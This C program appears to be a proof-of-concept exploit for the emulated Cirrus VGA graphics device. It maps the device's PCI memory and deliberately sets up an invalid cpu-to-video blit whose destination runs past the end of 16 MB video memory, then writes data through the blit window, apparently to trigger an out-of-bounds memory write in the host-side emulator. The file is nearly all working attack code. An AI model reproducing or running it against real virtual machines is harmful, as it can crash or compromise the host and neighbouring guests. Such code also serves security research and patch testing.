#include #include #include #include #include #include #include #include #include #include "pci.h" #include "cirrus.h" int main(int argc, char *argv[]) { volatile uint8_t *mmio, *blit; int i; find_device("cirrus", 0x1013, 0x00b8); mmio = mmap_bar(1); blit = mmap_bar(0); fprintf(stderr, "init ok\n"); sleep(1); cirrus_setmode(mmio); fprintf(stderr, "trying invalid cpu-to-video blit\n"); mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_RESET; mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = 0x00; #if 0 *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTWIDTH) = 1024 * 3 - 1; *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTHEIGHT) = 1 - 1; *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTPITCH) = 1024 * 3; *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCPITCH) = 1024 * 3; *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTADDR) = 16 * 1024 * 1024 - 1; *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCADDR) = 0; #else *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTWIDTH) = 3 - 1; *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTHEIGHT) = 1024 * 7 - 1; *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTPITCH) = 1024 * 3; *(uint16_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCPITCH) = 1024 * 3; *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTDESTADDR) = 16 * 1024 * 1024 - 4; *(uint32_t*)(mmio + BLT_OFFSET + CIRRUS_MMIO_BLTSRCADDR) = 0; #endif mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODE] = CIRRUS_BLTMODE_PIXELWIDTH24 | CIRRUS_BLTMODE_MEMSYSSRC; mmio[BLT_OFFSET + CIRRUS_MMIO_BLTROP] = CIRRUS_ROP_SRC; mmio[BLT_OFFSET + CIRRUS_MMIO_BLTMODEEXT] = 0; mmio[BLT_OFFSET + CIRRUS_MMIO_BLTSTATUS] = CIRRUS_BLT_START; fprintf(stderr, "setup done\n"); sleep(1); for (i = 0; i < 1024 * 7 * 3; i++) blit[i] = 0; fprintf(stderr, "blit done\n"); sleep(1); exit(0); }